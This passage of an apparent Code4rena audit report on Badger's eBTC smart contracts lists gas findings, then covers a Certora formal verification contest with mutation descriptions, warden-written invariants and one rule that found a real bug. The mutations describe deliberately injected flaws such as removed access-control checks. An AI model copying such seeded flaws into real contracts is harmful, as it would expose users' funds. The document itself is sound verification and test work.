https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L208

File: contracts/EBTCToken.sol

219    require(recoveredAddress == owner, "EBTC: invalid signature")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L219

File: contracts/EBTCToken.sol

247    require(sender != address(0), "EBTCToken: zero sender!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L247

File: contracts/EBTCToken.sol

248    require(recipient != address(0), "EBTCToken: zero recipient!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L248

File: contracts/EBTCToken.sol

251    require(cachedSenderBalances >= amount, "ERC20: transfer amount exceeds balance")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L251

File: contracts/EBTCToken.sol

263    require(account != address(0), "EBTCToken: mint to zero recipient!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L263

File: contracts/EBTCToken.sol

271    require(account != address(0), "EBTCToken: burn from zero account!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L271

File: contracts/EBTCToken.sol

274    require(cachedBalance >= amount, "ERC20: burn amount exceeds balance")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L274

File: contracts/EBTCToken.sol

286    require(owner != address(0), "EBTCToken: zero approve owner!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L286

File: contracts/EBTCToken.sol

287    require(spender != address(0), "EBTCToken: zero approve spender!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L287

File: contracts/EBTCToken.sol

296    require(
297                _recipient != address(0) && _recipient != address(this),
298                "EBTC: Cannot transfer tokens directly to the EBTC token contract or the zero address"
299            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L296-L299

File: contracts/EBTCToken.sol

300    require(
301                _recipient != cdpManagerAddress && _recipient != borrowerOperationsAddress,
302                "EBTC: Cannot transfer tokens directly to the CdpManager or BorrowerOps"
303            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L300-L303

File: contracts/EBTCToken.sol

307    require(
308                msg.sender == borrowerOperationsAddress,
309                "EBTCToken: Caller is not BorrowerOperations"
310            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L307-L310

File: contracts/EBTCToken.sol

315    require(
316                msg.sender == borrowerOperationsAddress ||
317                    msg.sender == cdpManagerAddress ||
318                    isAuthorized(msg.sender, msg.sig),
319                "EBTC: Caller is neither BorrowerOperations nor CdpManager nor authorized"
320            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L315-L320

File: contracts/EBTCToken.sol

324    require(msg.sender == cdpManagerAddress, "EBTC: Caller is not CdpManager")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L324

File: contracts/LeverageMacroBase.sol

40    revert("Must be overridden")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L40

File: contracts/LeverageMacroBase.sol

45    require(owner() == msg.sender, "Must be owner")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L45

File: contracts/LeverageMacroBase.sol

179    require(
180                    cdpInfo.status == checkParams.expectedStatus,
181                    "!LeverageMacroReference: openCDP status check"
182                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L179-L182

File: contracts/LeverageMacroBase.sol

191    require(
192                    cdpInfo.status == checkParams.expectedStatus,
193                    "!LeverageMacroReference: adjustCDP status check"
194                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L191-L194

File: contracts/LeverageMacroBase.sol

201    require(
202                    cdpInfo.status == checkParams.expectedStatus,
203                    "!LeverageMacroReference: closeCDP status check"
204                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L201-L204

File: contracts/LeverageMacroBase.sol

249    require(check.value >= valueToCheck, "!LeverageMacroReference: gte post check")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L249

File: contracts/LeverageMacroBase.sol

251    require(check.value <= valueToCheck, "!LeverageMacroReference: let post check")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L251

File: contracts/LeverageMacroBase.sol

253    require(check.value == valueToCheck, "!LeverageMacroReference: equal post check")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L253

File: contracts/LeverageMacroBase.sol

255    revert("Operator not found")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L255

File: contracts/LeverageMacroBase.sol

352    require(initiator == address(this), "LeverageMacroReference: wrong initiator for flashloan")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L352

File: contracts/LeverageMacroBase.sol

356    require(
357                    msg.sender == address(borrowerOperations),
358                    "LeverageMacroReference: wrong lender for eBTC flashloan"
359                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L356-L359

File: contracts/LeverageMacroBase.sol

362    require(
363                    msg.sender == address(activePool),
364                    "LeverageMacroReference: wrong lender for stETH flashloan"
365                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L362-L365

File: contracts/LeverageMacroBase.sol

421    require(success, "Call has failed")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L421

File: contracts/LeverageMacroBase.sol

440    require(
441                        IERC20(swapChecks[i].tokenToCheck).balanceOf(address(this)) >
442                            swapChecks[i].expectedMinOut,
443                        "LeverageMacroReference: swap check failure!"
444                    )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L440-L444

File: contracts/LeverageMacroBase.sol

452    require(addy != address(borrowerOperations))

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L452

File: contracts/LeverageMacroBase.sol

453    require(addy != address(sortedCdps))

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L453

File: contracts/LeverageMacroBase.sol

454    require(addy != address(activePool))

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L454

File: contracts/LeverageMacroBase.sol

455    require(addy != address(cdpManager))

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L455

File: contracts/LeverageMacroBase.sol

456    require(addy != address(this))

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L456

File: contracts/LiquidationLibrary.sol

56    require(_partialAmount != 0, "LiquidationLibrary: use `liquidate` for 100%")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L56

File: contracts/LiquidationLibrary.sol

82    require(
83                    _checkICRAgainstLiqThreshold(_ICR, _TCR),
84                    "LiquidationLibrary: ICR is not below liquidation threshold in current mode"
85                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L82-L85

File: contracts/LiquidationLibrary.sol

89    require(
90                    cachedLastGracePeriodStartTimestamp != UNSET_TIMESTAMP,
91                    "LiquidationLibrary: Recovery Mode grace period not started"
92                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L89-L92

File: contracts/LiquidationLibrary.sol

93    require(
94                    block.timestamp >
95                        cachedLastGracePeriodStartTimestamp + recoveryModeGracePeriodDuration,
96                    "LiquidationLibrary: Recovery mode grace period still in effect"
97                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L93-L97

File: contracts/LiquidationLibrary.sol

477    require(
478                    getCachedICR(_cdpId, _partialState.price) >= _partialState.ICR,
479                    "LiquidationLibrary: !_newICR>=_ICR"
480                )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L477-L480

File: contracts/LiquidationLibrary.sol

680    require(
681                _cdpArray.length != 0,
682                "LiquidationLibrary: Calldata address array must not be empty"
683            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L680-L683

File: contracts/LiquidationLibrary.sol

710    require(totals.totalDebtInSequence > 0, "LiquidationLibrary: nothing to liquidate")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L710

File: contracts/LiquidationLibrary.sol

901    require(
902                (_partialDebt + _convertDebtDenominationToBtc(MIN_NET_STETH_BALANCE, _price)) <=
903                    _entireDebt,
904                "LiquidationLibrary: Partial debt liquidated must be less than total debt"
905            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L901-L905

File: contracts/LiquidationLibrary.sol

909    require(
910                _entireColl >= MIN_NET_STETH_BALANCE,
911                "LiquidationLibrary: Coll remaining in partially liquidated CDP must be >= minimum"
912            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L909-L912

File: contracts/PriceFeed.sol

79    require(
80                !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
81                    !_chainlinkIsFrozen(chainlinkResponse),
82                "PriceFeed: Chainlink must be working and current"
83            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L79-L83

File: contracts/SimplifiedDiamondLike.sol

52    require(msg.sender == owner)

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L52

File: contracts/SimplifiedDiamondLike.sol

56    require(sig != 0x94b24d09)

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L56

File: contracts/SimplifiedDiamondLike.sol

67    require(msg.sender == owner)

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L67

File: contracts/SimplifiedDiamondLike.sol

77    require(msg.sender == address(this))

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L77

File: contracts/SimplifiedDiamondLike.sol

111    require(msg.sender == owner, "Must be owner")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L111

File: contracts/SimplifiedDiamondLike.sol

154    require(success)

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L154

File: contracts/SimplifiedDiamondLike.sol

179    require(ds.settings.callbackEnabledForCall, "Only Enabled Callbacks")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L179

File: contracts/SimplifiedDiamondLike.sol

187    require(facet != address(0), "Diamond: Function does not exist")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L187

File: contracts/SortedCdps.sol

352    require(cdpManager.getCdpStatus(_id) == 0, "SortedCdps: new id is NOT nonExistent!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L352

File: contracts/SortedCdps.sol

365    require(!isFull(), "SortedCdps: List is full")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L365

File: contracts/SortedCdps.sol

367    require(!contains(_id), "SortedCdps: List already contains the node")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L367

File: contracts/SortedCdps.sol

369    require(_id != dummyId, "SortedCdps: Id cannot be zero")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L369

File: contracts/SortedCdps.sol

371    require(_NICR > 0, "SortedCdps: NICR must be positive")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L371

File: contracts/SortedCdps.sol

422    require(_len > 1, "SortedCdps: batchRemove() only apply to multiple cdpIds!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L422

File: contracts/SortedCdps.sol

427    require(
428                _firstPrev != dummyId || _lastNext != dummyId,
429                "SortedCdps: batchRemove() leave ZERO node left!"
430            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L427-L430

File: contracts/SortedCdps.sol

433    require(contains(_ids[i]), "SortedCdps: List does not contain the id")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L433

File: contracts/SortedCdps.sol

458    require(contains(_id), "SortedCdps: List does not contain the id")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L458

File: contracts/SortedCdps.sol

506    require(contains(_id), "SortedCdps: List does not contain the id")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L506

File: contracts/SortedCdps.sol

508    require(_newNICR > 0, "SortedCdps: NICR must be positive")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L508

File: contracts/SortedCdps.sol

715    require(msg.sender == address(cdpManager), "SortedCdps: Caller is not the CdpManager")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L715

File: contracts/SortedCdps.sol

720    require(
721                msg.sender == borrowerOperationsAddress || msg.sender == address(cdpManager),
722                "SortedCdps: Caller is neither BO nor CdpM"
723            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L720-L723


Formal Verification Competition

A C4 formal verification competition is an event in partnership with Certora in which Wardens use formal verification tools to mathematically prove the correctness of a program or system in exhange for a bounty provided by sponsoring projects.

During the formal verification competition that took place alongside the Badger eBTC audit, Wardens utilized the Certora Prover (verification tool) to conduct formal verification of the Badger eBTC smart contract system.

Summary

Mutations were used to evaluate the quality of the specification. The mutants are described below and are available here. Additionally, the top specifications have been added to the C4 competition repo and some specific properties have been included in this report as good examples. Also note that each participant’s Certora folder has a mutations folder with .csv files with more detailed results and .txt file with a link to the report for each spec.

The final results for all participants can be found here.

Mutations

ActivePool

  • ActivePool_0.sol: Remove sufficient balance check from transferSystemCollShares.
  • ActivePool_1.sol: In transferSystemCollSharesAndLiquidatorReward, call _transferCollSharesWithContractHooks with wrong amount of shares.
  • ActivePool_2.sol: Remove _requireCallerIsCdpManager check from allocateSystemCollSharesToFeeRecipient.
  • ActivePool_3.sol: Fail to update systemCollShares in transferSystemCollShares.
  • ActivePool_4.sol: Remove Auth check from setFeeRecipientAddress.
  • ActivePool_5.sol: Pull just fee instead of amountWithFee in flashLoan.
  • ActivePool_6.sol: Transfer out full balance instead of just amount in flashLoan.
  • ActivePool_7.sol: Remove _requireCallerIsBorrowerOperations check from increaseSystemCollShares.
  • ActivePool_8.sol: Fail to update feeRecipientCollShares in allocateSystemCollSharesToFeeRecipient.
  • ActivePool_9.sol: Call safeTransferFrom instead of safeTransfer in sweepToken.
  • ActivePool_10.sol: Always pause in setFlashLoansPaused.
  • ActivePool_P.sol: Subtract _shares from cachedSystemCollShares instead of adding in transferSystemCollShares.

CollSurplusPool

EBTCToken

SortedCdps

Notable Properties

ActivePool

Transfering system’s collShares must decrease its shares

Author: capriza

rule mutActivePool(address account,uint256 shares){
    env e;

    uint256 systemCollShares_before = getSystemCollShares();
    
    transferSystemCollShares(e, account, shares);

    assert shares > 0 => getSystemCollShares() < systemCollShares_before;
}

The contract’s share of collateralToken must be greater than or equal to the recorded share amount

Author: capriza

invariant require_2(env e)
    collateralToken.sharesOf(e,currentContract) >= getSystemCollShares()
filtered { f -> !f.isView && !f.isFallback &&
           f.selector != sig:transferSystemCollSharesAndLiquidatorReward(address,uint256,uint256).selector &&
           f.selector != sig:claimFeeRecipientCollShares(uint256).selector &&
           f.selector != sig:increaseSystemCollShares(uint256).selector}

Only BorrowerOperations should increase systemCollShares

Author: alexzoid

invariant onlyBorrowerOperationsIncreaseSystemCollShares(env e) 
    // Shares increased
    ghostSystemCollShares > ghostSystemCollSharesPrev   
        // Caller is BorrowerOperations
        => callerIsBO(e.msg.sender) {
    preserved with (env eFunc) {
        require(ghostSystemCollShares == ghostSystemCollSharesPrev);
        // Require `invariantEnv.msg.sender` == `e.msg.sender`
        require(e.msg.sender == eFunc.msg.sender);
    }
}

Only CdpManager, BorrowerOperations or authorized user should modify state

Author: alexzoid

rule modifyStateCallerRestrictions(env e, method f, calldataarg args) {
    
    storage before = lastStorage;

    f(e, args);

    storage after = lastStorage;

    // State was changed
    assert(before[currentContract] != after[currentContract] 
        => (e.msg.sender == cdpManagerAddress() 
        || e.msg.sender == borrowerOperationsAddress()
        || ghostCanCall[e.msg.sender][to_bytes4(f.selector)]
        )
    );
}

The collateral balance in the active pool must be greater than or equal to its accounting number

Author: 0x00ffDa

invariant systemCollateralBalanceAccountingOk()
    to_mathint(collToken.sharesOf(currentContract)) >= to_mathint(getSystemCollShares() + getFeeRecipientClaimableCollShares())
    { 
        preserved transferSystemCollSharesAndLiquidatorReward(address _account, uint256 _shares, uint256 _liquidatorRewardShares) with (env e) {
            // Invariant fails if this function transfers rewards greater than the excess avail.
            // Only called when closing a CDP and there *should* be sufficient rewards for the last CDP (if other invariants hold).
            require to_mathint(collToken.sharesOf(currentContract)) >= to_mathint(_liquidatorRewardShares + getSystemCollShares() + getFeeRecipientClaimableCollShares());
        }
        preserved claimFeeRecipientCollShares(uint256 _shares) with (env e) {
            // Invariant fails if ActivePool's stETH balance does not have _shares in excess when havac'd feeRecipientCollShares implies
            // that it does. But excess does exist since the function requires it.
            require to_mathint(collToken.sharesOf(currentContract) - _shares) >= to_mathint(getSystemCollShares());
        }
        preserved increaseSystemCollShares(uint256 _shares) with (env e) {
            // Invariant fails when increasing internal accounting if actual stETH balance doesn't reflect it (or have sufficient excess). 
            require to_mathint(collToken.sharesOf(currentContract)) >= to_mathint(_shares + getSystemCollShares() + getFeeRecipientClaimableCollShares());
        }
    }

CollSurplusPool

The collateral balance in the collSurplus pool is greater than or equal to its accounting number

Author: 0x00ffDa

invariant collateralSurplusBalanceAccountingOk()
    collateral.sharesOf(currentContract) >= getTotalSurplusCollShares()
    { 
        preserved increaseTotalSurplusCollShares(uint256 _shares) with (env e) {
            // Invariant fails when increasing internal accounting if actual stETH balance doesn't reflect it (or have sufficient excess). 
            require to_mathint(collateral.sharesOf(currentContract)) >= to_mathint(_shares + getTotalSurplusCollShares());
        }
    }

The sum of all surpluses is equal to the value of getTotalSurplusCollShares

Author: 0x00ffDa

invariant collateralSurplusSumsAllBalances()
    to_mathint(getTotalSurplusCollShares()) == sumOfSurplusColl
    filtered {
        // These functions modify only one part of the internal accounting. This invariant can't reason about them(?)
        f -> f.selector != sig:increaseTotalSurplusCollShares(uint256).selector
          && f.selector != sig:increaseSurplusCollShares(address,uint256).selector
    }

User shares could decrease only to zero and decrease total shares simultaneously

Author: alexzoid

invariant decreaseUserSharesTotalSharesSolvency(address user) 
    // If user balance changed in lower way
    ghostBalancesChanged[user] && ghostBalances[user] < ghostBalancesPrev[user]
        => (
            // It should be set to zero
            ghostBalances[user] == 0 
            // Total shares decrease to previous user balance
            && ghostTotalSurplusCollSharesPrev - ghostTotalSurplusCollShares == ghostBalancesPrev[user]
        ) {
        preserved {
            require(ghostBalancesChanged[user] == false);
        }
    }

Total shares could decrease only when user shares decrease, could not touch more that one user at time

Author: alexzoid

invariant decreaseTotalSharesUserSharesSolvency() 
    // If total shares changed in lower way
    ghostTotalSurplusCollSharesChanged && ghostTotalSurplusCollSharesPrev > ghostTotalSurplusCollShares
        // User balance should change too
        => ghostUserAddressBalancesChanged != 0 && (forall address i. ghostBalancesChanged[i] => (
            // Only one user balance should change at time
            i == ghostUserAddressBalancesChanged 
            // It should be set to zero
            && ghostBalances[i] == 0 
            // Total shares decrease to previous user balance 
            && ghostTotalSurplusCollSharesPrev - ghostTotalSurplusCollShares == ghostBalancesPrev[i]
        )) {
    preserved {
        require(ghostTotalSurplusCollSharesChanged == false);
        require(ghostUserAddressBalancesChanged == 0);
        require(forall address i. ghostBalancesChanged[i] == false);
    }
}

Monotonicity of collateral balance is preserved unless claimSurplusCollShares is called

Author: capriza

rule collateralOnlyIncreases(env e, method f){
    
    uint256 balanceBefore = collateral.balanceOf(currentContract);
    calldataarg args;
    f(e,args);
    uint256 balanceAfter = collateral.balanceOf(currentContract);
   
   assert !(balanceAfter >= balanceBefore) => f.selector == sig:claimSurplusCollShares(address).selector;
}

EBTCToken

Sum of balances must equal totalSupply

Author: BARW

invariant totalSupplyIsSumOfUserBalances()
    to_mathint(totalSupply()) == sum_of_balances; 

Address zero must have no balance

Author: Junnon

invariant addressZeroNoAllowanceBalanceOrSpender()
    balanceOf(0) == 0;

SortedCdps

head must never have prevId

Author: Junnon

invariant head_integrity(bytes32 id)
    first == id || !contains(id) <=> prev[id] == nonExistId()
    filtered {
        f -> f.selector != sig:batchRemove(bytes32[]).selector && !f.isView && !isHarnessCall(f)
    }{
        preserved with (env e) {
            bytes32 other;
            setupId(id, other);
        }
    }

If next of id is other then prev of other is id

Author: Junnon

invariant next_prev_correlation(bytes32 id, bytes32 other)
    id != nonExistId() && other != nonExistId() => (next[id] == other <=> prev[other] == id)
    filtered {
        f -> f.selector != sig:batchRemove(bytes32[]).selector && !f.isView && !isHarnessCall(f)
    }
    {
        preserved with (env e) {
            setupId(id, other);
        }
    }

If size is 0, head and tail must be 0

Author: BARW

invariant size0HeadTail0()
    ghostSize == 0 => ghostHead == zero && ghostTail == zero 
    filtered {
        f -> f.selector != sig:batchRemove(bytes32[]).selector
    }

When there is only 1 item in the list, properties of such a state must hold

Author: alexzoid

invariant sortedCdpsListOneItemSolvency() 
    // 1 item in the list
    (
        ghostHead != DUMMY_ID() && ghostNextId[ghostHead] == DUMMY_ID()
        || ghostTail != DUMMY_ID() && ghostPrevId[ghostTail] == DUMMY_ID()
        || ghostHead != DUMMY_ID() && ghostHead == ghostTail
        || ghostSize == 1
    ) => (
        ghostHead != DUMMY_ID() 
        && ghostHead == ghostTail
        && ghostSize == 1 
        // Zero NICR should not be inserted
        && ghostCachedNominalICR[ghostHead] != 0
        // Only non existent CDPs should be inserted
        && ghostCdpStatus[ghostHead] == CDP_STATUS_NON_EXISTENT()
        // No prev or next set
        && (forall bytes32 i. ghostPrevId[i] == DUMMY_ID() && ghostNextId[i] == DUMMY_ID())
    )
    filtered { f -> !HARNESS_REPLACED_OR_VIEW_FUNCTIONS(f) } { 
        preserved { 
            // Initially require valid list structure
            requireInvariant isListStructureValidInv;
            requireInvariant sortedCdpsListEmptySolvency;
            requireInvariant sortedCdpsListSeveralItemsSolvency;
            requireInvariant sortedCdpsListZeroIdsNotSupported;
        } 
}

Vulnerabilities

Warden team BARW wrote the only rule that uncovered a “real bug”. The vulnerability was a duplicate of this finding from the audit:

Certora Prover Property

Author: BARW

 rule ISSUEcdpOfOwnerByIndexWorks(){ 
        env e; 
        address owner; 
        uint256	index; 
        bytes32 startNodeId; 
        uint maxNodes; 
        bool boolResult; 
        bool boolTarget;  
        bytes32 bytes32Result; 
        bytes32 bytes32Target; 
        uint _currentIndex; 
  
        bytes32Result = cdpOfOwnerByIndex(e, owner, index); 
        bytes32Target, boolTarget, _currentIndex = cdpOfOwnerByIndexHarness(e, owner, index, dummyId(e), 0); 
        address ownerOfReturnedId = getOwnerAddress(e, bytes32Result); 
  
        assert(bytes32Result == bytes32Target, "Returned bytes32 is wrong"); 
        assert(ownerOfReturnedId == owner, "The owner of the returned cdp is not the target Owner"); 
        assert(_currentIndex == index, "The index of the returned cdpId is wrong"); 
  
 } 

Disclosures

C4 is an open organization governed by participants in the community.

C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.